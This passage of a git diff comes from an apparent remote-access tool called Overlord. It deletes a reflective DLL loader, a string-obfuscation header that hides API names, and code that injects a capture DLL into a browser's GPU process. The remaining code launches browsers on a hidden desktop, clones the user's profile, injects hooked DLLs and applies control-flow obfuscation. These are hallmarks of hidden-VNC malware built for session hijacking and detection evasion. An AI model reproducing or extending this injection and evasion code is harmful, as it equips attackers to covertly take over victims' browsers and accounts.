DLL/EXE's entry point - uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); - - // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. - pNtFlushInstructionCache((HANDLE)-1, NULL, 0); - - // call our respective entry point, fudging our hInstance value -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR - // Store the parameter globally so DllMain can access it - g_lpReflectiveParameter = lpParameter; - // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) - ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); -#else - // if we are injecting an DLL via a stub we call DllMain with no parameter - ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); -#endif - - // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. - return uiValueA; -} -//===============================================================================================// -#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN - -BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) -{ - BOOL bReturnValue = TRUE; - switch (dwReason) - { - case DLL_QUERY_HMODULE: - if (lpReserved != NULL) - *(HMODULE*)lpReserved = hAppInstance; - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - return bReturnValue; -} - -#endif -//===============================================================================================// diff --git a/BackstageCapture/src/ReflectiveLoader.h b/BackstageCapture/src/ReflectiveLoader.h deleted file mode 100644 index 3e13533..0000000 --- a/BackstageCapture/src/ReflectiveLoader.h +++ /dev/null @@ -1,215 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H -#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include -#include - -#ifdef _MSC_VER -#include -#else -// MinGW/GCC: _rotr lives in , __readgsqword in -#include -#include -#endif - -#include "ReflectiveDLLInjection.h" - -typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); -typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); -typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); -typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); - -#define KERNEL32DLL_HASH 0x6A4ABC5B -#define NTDLLDLL_HASH 0x3CFA685D - -#define LOADLIBRARYA_HASH 0xEC0E4E8E -#define GETPROCADDRESS_HASH 0x7C0DFCAA -#define VIRTUALALLOC_HASH 0x91AFCA54 -#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 - -#define IMAGE_REL_BASED_ARM_MOV32A 5 -#define IMAGE_REL_BASED_ARM_MOV32T 7 - -#define ARM_MOV_MASK (DWORD)(0xFBF08000) -#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) -#define ARM_MOVW 0xF2400000 -#define ARM_MOVT 0xF2C00000 - -#define HASH_KEY 13 -//===============================================================================================// -#ifdef _MSC_VER -#pragma intrinsic( _rotr ) -#define RDI_INLINE __forceinline -#else -#define RDI_INLINE static inline __attribute__((always_inline)) -#endif - -RDI_INLINE DWORD ror(DWORD d) -{ - return _rotr(d, HASH_KEY); -} - -RDI_INLINE DWORD hash(char* c) -{ - register DWORD h = 0; - do - { - h = ror(h); - h += *c; - } while (*++c); - - return h; -} -//===============================================================================================// -typedef struct _UNICODE_STR -{ - USHORT Length; - USHORT MaximumLength; - PWSTR pBuffer; -} UNICODE_STR, * PUNICODE_STR; - -// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY -//__declspec( align(8) ) -typedef struct _LDR_DATA_TABLE_ENTRY -{ - //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STR FullDllName; - UNICODE_STR BaseDllName; - ULONG Flags; - SHORT LoadCount; - SHORT TlsIndex; - LIST_ENTRY HashTableEntry; - ULONG TimeDateStamp; -} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; - -// WinDbg> dt -v ntdll!_PEB_LDR_DATA -typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes -{ - DWORD dwLength; - DWORD dwInitialized; - LPVOID lpSsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID lpEntryInProgress; -} PEB_LDR_DATA, * PPEB_LDR_DATA; - -// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK -typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes -{ - struct _PEB_FREE_BLOCK* pNext; - DWORD dwSize; -} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; - -// struct _PEB is defined in Winternl.h but it is incomplete -// WinDbg> dt -v ntdll!_PEB -typedef struct __PEB // 65 elements, 0x210 bytes -{ - BYTE bInheritedAddressSpace; - BYTE bReadImageFileExecOptions; - BYTE bBeingDebugged; - BYTE bSpareBool; - LPVOID lpMutant; - LPVOID lpImageBaseAddress; - PPEB_LDR_DATA pLdr; - LPVOID lpProcessParameters; - LPVOID lpSubSystemData; - LPVOID lpProcessHeap; - PRTL_CRITICAL_SECTION pFastPebLock; - LPVOID lpFastPebLockRoutine; - LPVOID lpFastPebUnlockRoutine; - DWORD dwEnvironmentUpdateCount; - LPVOID lpKernelCallbackTable; - DWORD dwSystemReserved; - DWORD dwAtlThunkSListPtr32; - PPEB_FREE_BLOCK pFreeList; - DWORD dwTlsExpansionCounter; - LPVOID lpTlsBitmap; - DWORD dwTlsBitmapBits[2]; - LPVOID lpReadOnlySharedMemoryBase; - LPVOID lpReadOnlySharedMemoryHeap; - LPVOID lpReadOnlyStaticServerData; - LPVOID lpAnsiCodePageData; - LPVOID lpOemCodePageData; - LPVOID lpUnicodeCaseTableData; - DWORD dwNumberOfProcessors; - DWORD dwNtGlobalFlag; - LARGE_INTEGER liCriticalSectionTimeout; - DWORD dwHeapSegmentReserve; - DWORD dwHeapSegmentCommit; - DWORD dwHeapDeCommitTotalFreeThreshold; - DWORD dwHeapDeCommitFreeBlockThreshold; - DWORD dwNumberOfHeaps; - DWORD dwMaximumNumberOfHeaps; - LPVOID lpProcessHeaps; - LPVOID lpGdiSharedHandleTable; - LPVOID lpProcessStarterHelper; - DWORD dwGdiDCAttributeList; - LPVOID lpLoaderLock; - DWORD dwOSMajorVersion; - DWORD dwOSMinorVersion; - WORD wOSBuildNumber; - WORD wOSCSDVersion; - DWORD dwOSPlatformId; - DWORD dwImageSubsystem; - DWORD dwImageSubsystemMajorVersion; - DWORD dwImageSubsystemMinorVersion; - DWORD dwImageProcessAffinityMask; - DWORD dwGdiHandleBuffer[34]; - LPVOID lpPostProcessInitRoutine; - LPVOID lpTlsExpansionBitmap; - DWORD dwTlsExpansionBitmapBits[32]; - DWORD dwSessionId; - ULARGE_INTEGER liAppCompatFlags; - ULARGE_INTEGER liAppCompatFlagsUser; - LPVOID lppShimData; - LPVOID lpAppCompatInfo; - UNICODE_STR usCSDVersion; - LPVOID lpActivationContextData; - LPVOID lpProcessAssemblyStorageMap; - LPVOID lpSystemDefaultActivationContextData; - LPVOID lpSystemAssemblyStorageMap; - DWORD dwMinimumStackCommit; -} _PEB, * _PPEB; - -typedef struct -{ - WORD offset : 12; - WORD type : 4; -} IMAGE_RELOC, * PIMAGE_RELOC; -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/BackstageCapture/src/obfstr.h b/BackstageCapture/src/obfstr.h deleted file mode 100644 index 25869c4..0000000 --- a/BackstageCapture/src/obfstr.h +++ /dev/null @@ -1,70 +0,0 @@ -//===============================================================================================// -// Compile-time string obfuscation via ROT16 cipher. -// Each character is individually ROT16'd in the source so the plaintext never -// appears contiguously in the binary. Obfuscated arrays are decrypted at call -// site through the OBFS() macro. -// -// To add new strings: -// 1. Define an encrypted array using _OBF_CHR('c') for each character. -// 2. Use OBFS(your_array) at the point of use. -// -// The companion script scripts/obfuscate-strings.py automates generating -// the _OBF_CHR sequences from a plaintext input. -//===============================================================================================// -#pragma once - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -#define OBFS_KEY 16 - -#define _OBF_CHR(c) ((unsigned char)(c) + OBFS_KEY) - -static inline char* obfs_dec(char* buf, int len) -{ - for (int i = 0; i < len; i++) - buf[i] = (char)((unsigned char)buf[i] - OBFS_KEY); - return buf; -} - -#ifdef _MSC_VER -#define OBFS(arr) \ - obfs_dec((char*)memcpy((char*)_alloca(sizeof(arr)), (const char*)(arr), sizeof(arr)), \ - (int)(sizeof(arr) - 1)) -#else -#define OBFS(arr) \ - obfs_dec((char*)memcpy((char[sizeof(arr)]){0}, (const char*)(arr), sizeof(arr)), \ - (int)(sizeof(arr) - 1)) -#endif - -// ---- Encrypted string arrays ---- -// Use _OBF_CHR() for each character so the compiler folds to constants. - -static const unsigned char _enc_ReflectiveLoader[] = { - _OBF_CHR('R'),_OBF_CHR('e'),_OBF_CHR('f'),_OBF_CHR('l'), - _OBF_CHR('e'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'), - _OBF_CHR('v'),_OBF_CHR('e'),_OBF_CHR('L'),_OBF_CHR('o'), - _OBF_CHR('a'),_OBF_CHR('d'),_OBF_CHR('e'),_OBF_CHR('r'), 0 -}; - -static const unsigned char _enc_ntdll_dll[] = { - _OBF_CHR('n'),_OBF_CHR('t'),_OBF_CHR('d'),_OBF_CHR('l'), - _OBF_CHR('l'),_OBF_CHR('.'),_OBF_CHR('d'),_OBF_CHR('l'), - _OBF_CHR('l'), 0 -}; - -static const unsigned char _enc_RtlAddFunctionTable[] = { - _OBF_CHR('R'),_OBF_CHR('t'),_OBF_CHR('l'),_OBF_CHR('A'), - _OBF_CHR('d'),_OBF_CHR('d'),_OBF_CHR('F'),_OBF_CHR('u'), - _OBF_CHR('n'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'), - _OBF_CHR('o'),_OBF_CHR('n'),_OBF_CHR('T'),_OBF_CHR('a'), - _OBF_CHR('b'),_OBF_CHR('l'),_OBF_CHR('e'), 0 -}; - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/BackstageCapture/src/seh_compat.h b/BackstageCapture/src/seh_compat.h deleted file mode 100644 index 7e14130..0000000 --- a/BackstageCapture/src/seh_compat.h +++ /dev/null @@ -1,18 +0,0 @@ -// Compatibility header for building with MinGW (which lacks MSVC's __try/__except) -#ifndef _backstage_SEH_COMPAT_H -#define _backstage_SEH_COMPAT_H - -#ifdef __MINGW32__ -// MinGW doesn't support MSVC structured exception handling. -// Replace __try/__except with plain code execution (no SEH guard). -#define __try -#define __except(x) if (0) -#define __finally - -// MSVC uses GetExceptionCode() inside __except; provide a stub. -#ifndef GetExceptionCode -#define GetExceptionCode() 0 -#endif -#endif // __MINGW32__ - -#endif // _backstage_SEH_COMPAT_H diff --git a/Dockerfile b/Dockerfile index 841f595..5f28ba0 100644 --- a/Dockerfile +++ b/Dockerfile @@ -87,11 +87,9 @@ RUN --mount=type=cache,target=/root/.bun/install/cache \ # Server source (Overlord-Server/dist-clients may carry pre-built MSVC DLLs from CI) COPY Overlord-Server/ ./ -# Backstage sources for the cross-compile fallback (used only if no pre-built MSVC DLL). +# BackstageInjection source for the cross-compile fallback (used only if no pre-built MSVC DLL). COPY BackstageInjection/ ./BackstageInjection/ COPY scripts/build-backstage-dll.sh ./scripts/ -COPY BackstageCapture/ ./BackstageCapture/ -COPY scripts/build-backstage-capture-dll.sh ./scripts/ RUN mkdir -p dist-clients && \ if [ -f dist-clients/BackstageInjection.x64.dll ]; then \ @@ -102,14 +100,6 @@ RUN mkdir -p dist-clients && \ echo "WARNING: BackstageInjection DLL not available (build with MSVC on Windows)"; \ fi -RUN if [ -f dist-clients/BackstageCapture.x64.dll ]; then \ - echo "Using pre-built MSVC BackstageCapture DLL"; \ - else \ - chmod +x scripts/build-backstage-capture-dll.sh && \ - BACKSTAGE_CAPTURE_SRC_DIR=BackstageCapture/src BACKSTAGE_CAPTURE_OUT_DIR=dist-clients bash scripts/build-backstage-capture-dll.sh || \ - echo "WARNING: BackstageCapture DLL not available (build with MSVC on Windows)"; \ - fi - # Keep production build phases separate so BuildKit reports the exact slow or # failing phase and can cache each completed phase independently. RUN bun run build:css diff --git a/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go b/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go deleted file mode 100644 index 1b79dd6..0000000 --- a/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go +++ /dev/null @@ -1,320 +0,0 @@ -//go:build windows - -package capture - -import ( - "encoding/binary" - "fmt" - "log" - "sync" - "syscall" - "time" - "unsafe" - - "overlord-client/cmd/agent/wininterop" -) - -// backstageFrameHeader mirrors the C backstageFrameHeader struct. -// must be kept in sync with BackstageCapture/src/DXGICapture.h. -type backstageFrameHeader struct { - Magic uint32 - Version uint32 - Width uint32 - Height uint32 - Stride uint32 - Format uint32 - FrameSeq uint64 - TimestampNs uint64 - PID uint32 - Reserved uint32 -} - -const ( - backstageFrameMagic = 0x434E5648 // 'backstage' - backstageFrameVersion = 1 - backstageFrameHeaderSize = 48 // sizeof(backstageFrameHeader) - backstageShmPrefix = `Local\backstage_frame_` - backstageEventPrefix = `Local\backstage_evt_` -) - -var ( - procOpenFileMappingW = kernel32.NewProc("OpenFileMappingW") - procOpenEventW = kernel32.NewProc("OpenEventW") -) - -const ( - FILE_MAP_READ = 0x0004 - EVENT_ALL_ACCESS = 0x1F0003 - SYNCHRONIZE = 0x00100000 -) - -type backstageFrameReader struct { - pid uint32 - shmHandle uintptr - shmView unsafe.Pointer - shmSize uintptr - evtHandle uintptr - lastSeq uint64 - staleCount int - mu sync.Mutex -} - -var ( - backstageFrameReaders = make(map[uint32]*backstageFrameReader) - backstageFrameReadersMu sync.Mutex - - backstageGPUPIDMap = make(map[uint32]uint32) -) - -func backstageRegisterGPUPID(browserPID, gpuPID uint32) { - backstageFrameReadersMu.Lock() - backstageGPUPIDMap[browserPID] = gpuPID - backstageFrameReadersMu.Unlock() - log.Printf("backstage dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID) -} - -func backstageGetFrameReader(pid uint32) *backstageFrameReader { - backstageFrameReadersMu.Lock() - defer backstageFrameReadersMu.Unlock() - - if r, ok := backstageFrameReaders[pid]; ok { - if r.staleCount > 300 { - log.Printf("backstage dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount) - r.close() - delete(backstageFrameReaders, pid) - } else { - return r - } - } - - shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageShmPrefix, pid)) - shmHandle, _, _ := procOpenFileMappingW.Call( - FILE_MAP_READ, - 0, - uintptr(unsafe.Pointer(shmName)), - ) - if shmHandle == 0 { - return nil - } - - view, _, _ := procMapViewOfFile.Call( - shmHandle, - FILE_MAP_READ, - 0, 0, - backstageFrameHeaderSize, - ) - if view == 0 { - procCloseHandle.Call(shmHandle) - return nil - } - - hdr := (*backstageFrameHeader)(wininterop.Pointer(view)) - if hdr.Magic != backstageFrameMagic { - procUnmapViewOfFile.Call(view) - procCloseHandle.Call(shmHandle) - return nil - } - - fullSize := uintptr(backstageFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height) - - procUnmapViewOfFile.Call(view) - view = 0 - hdr = nil - - fullView, _, _ := procMapViewOfFile.Call( - shmHandle, - FILE_MAP_READ, - 0, 0, - fullSize, - ) - if fullView == 0 { - procCloseHandle.Call(shmHandle) - return nil - } - - hdr2 := (*backstageFrameHeader)(wininterop.Pointer(fullView)) - - evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageEventPrefix, pid)) - evtHandle, _, _ := procOpenEventW.Call( - SYNCHRONIZE, - 0, - uintptr(unsafe.Pointer(evtName)), - ) - - r := &backstageFrameReader{ - pid: pid, - shmHandle: shmHandle, - shmView: wininterop.Pointer(fullView), - shmSize: fullSize, - evtHandle: evtHandle, - } - backstageFrameReaders[pid] = r - - log.Printf("backstage dxgi: opened shared memory for PID %d (%dx%d, %d bytes)", - pid, hdr2.Width, hdr2.Height, fullSize) - return r -} - -func (r *backstageFrameReader) readFrame(dst []byte) (w, h int, ok bool) { - r.mu.Lock() - defer r.mu.Unlock() - - if r.shmView == nil { - return 0, 0, false - } - - hdr := (*backstageFrameHeader)(r.shmView) - if hdr.Magic != backstageFrameMagic || hdr.Version != backstageFrameVersion { - return 0, 0, false - } - - w = int(hdr.Width) - h = int(hdr.Height) - stride := int(hdr.Stride) - - if w <= 0 || h <= 0 || w > 7680 || h > 4320 || stride <= 0 || stride > 7680*4 { - return 0, 0, false - } - - dstStride := w * 4 - if stride < dstStride { - return 0, 0, false // stride must be >= w*4 - } - - needed := w * h * 4 - if len(dst) < needed { - return 0, 0, false - } - - totalNeeded := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h) - if totalNeeded > r.shmSize { - r.remap(w, h, stride) - if r.shmView == nil { - return 0, 0, false - } - hdr = (*backstageFrameHeader)(r.shmView) - if hdr.Magic != backstageFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h { - return 0, 0, false - } - } - - pixelData := unsafe.Add(r.shmView, backstageFrameHeaderSize) - srcSize := stride * h - src := unsafe.Slice((*byte)(pixelData), srcSize) - - for y := 0; y < h; y++ { - srcOff := y * stride - dstOff := y * dstStride - copy(dst[dstOff:dstOff+dstStride], src[srcOff:srcOff+dstStride]) - } - - seq := hdr.FrameSeq - if seq != r.lastSeq { - r.lastSeq = seq - r.staleCount = 0 - } else { - r.staleCount++ - } - - return w, h, true -} - -func (r *backstageFrameReader) remap(w, h, stride int) { - if r.shmView != nil { - procUnmapViewOfFile.Call(uintptr(r.shmView)) - r.shmView = nil - } - - newSize := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h) - view, _, _ := procMapViewOfFile.Call( - r.shmHandle, - FILE_MAP_READ, - 0, 0, - newSize, - ) - if view == 0 { - return - } - r.shmView = wininterop.Pointer(view) - r.shmSize = newSize -} - -func (r *backstageFrameReader) close() { - r.mu.Lock() - defer r.mu.Unlock() - - if r.shmView != nil { - procUnmapViewOfFile.Call(uintptr(r.shmView)) - r.shmView = nil - } - if r.shmHandle != 0 { - procCloseHandle.Call(r.shmHandle) - r.shmHandle = 0 - } - if r.evtHandle != 0 { - procCloseHandle.Call(r.evtHandle) - r.evtHandle = 0 - } -} - -func backstageCleanupFrameReaders() { - backstageFrameReadersMu.Lock() - defer backstageFrameReadersMu.Unlock() - - for pid, r := range backstageFrameReaders { - r.close() - delete(backstageFrameReaders, pid) - } - for k := range backstageGPUPIDMap { - delete(backstageGPUPIDMap, k) - } -} - -var ( - backstageInjectedPIDs = make(map[uint32]time.Time) - backstageInjectedPIDsMu sync.Mutex -) - -func backstageRegisterInjectedPID(pid uint32) { - backstageInjectedPIDsMu.Lock() - backstageInjectedPIDs[pid] = time.Now() - backstageInjectedPIDsMu.Unlock() -} - -func backstageGetInjectedPIDs() []uint32 { - backstageInjectedPIDsMu.Lock() - defer backstageInjectedPIDsMu.Unlock() - pids := make([]uint32, 0, len(backstageInjectedPIDs)) - for pid := range backstageInjectedPIDs { - pids = append(pids, pid) - } - return pids -} - -func backstageUnregisterInjectedPID(pid uint32) { - backstageInjectedPIDsMu.Lock() - delete(backstageInjectedPIDs, pid) - backstageInjectedPIDsMu.Unlock() -} - -func parsebackstageFrameHeader(data []byte) (*backstageFrameHeader, bool) { - if len(data) < backstageFrameHeaderSize { - return nil, false - } - hdr := &backstageFrameHeader{ - Magic: binary.LittleEndian.Uint32(data[0:4]), - Version: binary.LittleEndian.Uint32(data[4:8]), - Width: binary.LittleEndian.Uint32(data[8:12]), - Height: binary.LittleEndian.Uint32(data[12:16]), - Stride: binary.LittleEndian.Uint32(data[16:20]), - Format: binary.LittleEndian.Uint32(data[20:24]), - FrameSeq: binary.LittleEndian.Uint64(data[24:32]), - TimestampNs: binary.LittleEndian.Uint64(data[32:40]), - PID: binary.LittleEndian.Uint32(data[40:44]), - Reserved: binary.LittleEndian.Uint32(data[44:48]), - } - if hdr.Magic != backstageFrameMagic { - return nil, false - } - return hdr, true -} diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go b/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go index 57a0354..57b17bb 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go @@ -4,11 +4,11 @@ package capture import "errors" -func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { +func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { return 0, errors.New("backstage injection not supported on this platform") } -func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { +func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error { return errors.New("backstage injection not supported on this platform") } @@ -16,7 +16,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s type DXGIStatusFunc func(success bool, gpuPID uint32, message string) type LaunchStatusFunc func(step string, success bool, detail string) -func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { +func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { return errors.New("backstage injection not supported on this platform") } diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go index 6db0a2c..2493616 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go @@ -55,6 +55,8 @@ const ( PROCESS_VM_READ = 0x0010 PROCESS_ALL_ACCESS_INJ = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ + SYNCHRONIZE = 0x00100000 + MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 @@ -164,7 +166,7 @@ func enableDebugPrivilege() { // StartbackstageProcessInjected starts a process suspended on the backstage desktop, // injects the reflective DLL, then resumes it. // searchPath/replacePath are passed as environment variables for the DLL hooks. -func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { +func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { if filePath == "" { return 0, fmt.Errorf("empty file path") } @@ -173,13 +175,12 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllB } result, err := executebackstageTask(backstageTask{ - kind: backstageTaskStartProcessInjected, - filePath: filePath, - dllBytes: dllBytes, - captureDllBytes: captureDllBytes, - searchPath: searchPath, - replacePath: replacePath, - display: display, + kind: backstageTaskStartProcessInjected, + filePath: filePath, + dllBytes: dllBytes, + searchPath: searchPath, + replacePath: replacePath, + display: display, }, 30*time.Second) if err != nil { return 0, err @@ -187,7 +188,7 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllB return result.pid, result.err } -func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { +func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { if onDXGIStatus != nil { backstageDXGIStatusCallback.Store(onDXGIStatus) } @@ -234,7 +235,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by if !clone { notify("launch", true, "starting without profile cloning") - pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display) + pid, err := StartbackstageProcessInjected(exePath, dllBytes, "", "", display) if err != nil { notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) return err @@ -295,7 +296,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by } notify("launch", true, "starting with cloned profile") - pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display) + pid, err := StartbackstageProcessInjected(exePath, dllBytes, realUserData, cloneDir, display) if err != nil { notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) return err @@ -318,8 +319,8 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by } // StartbackstageChromeInjected is kept for backward compatibility. -func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error { - return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil) +func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error { + return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, true, false, true, 0, nil, nil, nil) } type browserInfo struct { @@ -1001,7 +1002,7 @@ func calcDirSize(dir string) int64 { return total } -func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { +func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 if filePath == "" { return 0, fmt.Errorf("empty file path") @@ -1055,64 +1056,9 @@ func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, cap log.Printf("backstage inject: process PID %d resumed with DLL hooks active", pid) - if len(captureDllBytes) > 0 { - if !backstageDXGIEnabled.Load() { - log.Printf("backstage inject: DXGI is disabled, skipping capture DLL injection for GPU child process") - } else { - go func() { - defer recoverAndLog("backstage deferred gpu inject", nil) - backstageDeferredGPUInject(pid, captureDllBytes) - }() - } - } - return pid, nil } -func backstageDeferredGPUInject(browserPID uint32, captureDllBytes []byte) { - time.Sleep(4 * time.Second) - - for attempt := 0; attempt < 15; attempt++ { - gpuPID, err := findGPUChildProcess(browserPID) - if err != nil { - log.Printf("backstage inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err) - time.Sleep(2 * time.Second) - continue - } - - log.Printf("backstage inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID) - - hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID)) - if hProcess == 0 { - log.Printf("backstage inject: failed to open GPU process PID %d", gpuPID) - return - } - - if err := reflectiveInject(hProcess, captureDllBytes); err != nil { - log.Printf("backstage inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err) - procCloseHandle.Call(hProcess) - if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { - fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID)) - } - return - } - procCloseHandle.Call(hProcess) - - log.Printf("backstage inject: BackstageCapture DLL injected into GPU PID %d", gpuPID) - backstageRegisterInjectedPID(gpuPID) - backstageRegisterGPUPID(browserPID, gpuPID) - if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { - fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID)) - } - return - 